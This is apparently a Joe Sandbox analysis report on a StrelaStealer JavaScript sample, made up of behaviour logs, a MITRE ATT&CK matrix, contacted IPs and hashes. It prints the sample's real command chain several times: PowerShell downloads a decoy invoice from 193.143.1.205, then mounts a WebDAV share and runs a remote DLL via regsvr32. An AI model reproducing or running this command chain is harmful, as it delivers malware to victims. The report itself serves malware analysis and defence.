Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4440			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5434			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7828	Thread sleep count: 4440 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep count: 5434 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8080	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8092	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6040	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7540	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000D.00000002.1348902368.0000021C82B8E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2547410557.0000019D43A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2548798678.0000019D49055000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2548758903.0000019D49042000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000D.00000002.1348902368.0000021C82B28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW '

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5949401323954377.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer
5949401323954377.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888//	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/;	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000001.00000002.1270230542.000001AD14325000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2548977755.0000019D4908D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
http://193.143.1.205:8888/;	net.exe, 0000000D.00000002.1348902368.0000021C82B57000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1348902368.0000021C82B57000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1348902368.0000021C82B28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1348902368.0000021C82B81000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 0000000F.00000003.1328727919.0000019D48F80000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://193.143.1.205:8888//	net.exe, 0000000D.00000002.1348902368.0000021C82B57000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588513
Start date and time:	2025-01-11 01:55:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5949401323954377.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.6.155.20, 3.233.129.217, 3.219.243.226, 52.22.41.97, 162.159.61.3, 172.64.41.3, 2.23.242.162, 2.16.100.168, 88.221.110.91, 2.16.168.105, 2.16.168.107, 23.209.209.135, 2.22.242.123, 2.22.242.11, 23.200.0.209, 23.200.0.176, 23.200.0.179, 23.200.0.172, 23.200.0.206, 23.200.0.200, 23.200.0.177, 192.168.2.10, 13.107.246.45, 20.12.23.50, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
19:56:20	API Interceptor	23x Sleep call for process: powershell.exe modified
19:56:24	API Interceptor	1x Sleep call for process: net.exe modified
19:56:24	API Interceptor	2x Sleep call for process: svchost.exe modified
19:56:37	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807229454576947
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9I:0J7adfWuK0p/QDfKoPeuP0aN4fqoxf
MD5:	033C1CC67AAE2C6B79157C38802A0BDA
SHA1:	4E1E48A251418DA3ADC9CEB280D7789C19C86416
SHA-256:	16BA2F30B9DCF8B5C918ABEC49EC3FE071221180C4D54472A52E26E20E969F67
SHA-512:	8E4936028878AF88B146D69662178F2E118F62999576E8934A9FCD8A42049FDAEF67EAD91CA68D6A1B8B7458B72893C35B299D419602B62895A65084B045D724
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xaab4c0c6, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7879877014230012
Encrypted:	false
SSDEEP:	1536:nSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:nazaPv4V4fXq2UaB
MD5:	B5DB93784438785003A212835EF33D5C
SHA1:	A4422D3F11AAC63FBAC495FE7C7C201D145A581A
SHA-256:	D2CE23296E890BCF403560BD9112BAF0ACD1A01162350196F80650DD12423B05
SHA-512:	9938A001C6ACC9397BCF647FF844AFD3D33E3FFCD3F12F34CF3CF2B02CC8E80D973E5C4C076D5CA97EE9397890A504986010643A8ACE0CE1CB27E0FBF0266643
Malicious:	false
Preview:	....... ...............X\...;...{......................X............{...8...}{.h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{...................................Lqu.8...}.6.....................8...}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07982233292128972
Encrypted:	false
SSDEEP:	3:XkKWlyYeIrY7mXlVG0+q2Iqe8l+hallNTt/4ll/Q6beV/:zdzFUGE8l9Htc6V
MD5:	6C78BF681D925267162FDAA8CD8AE0E2
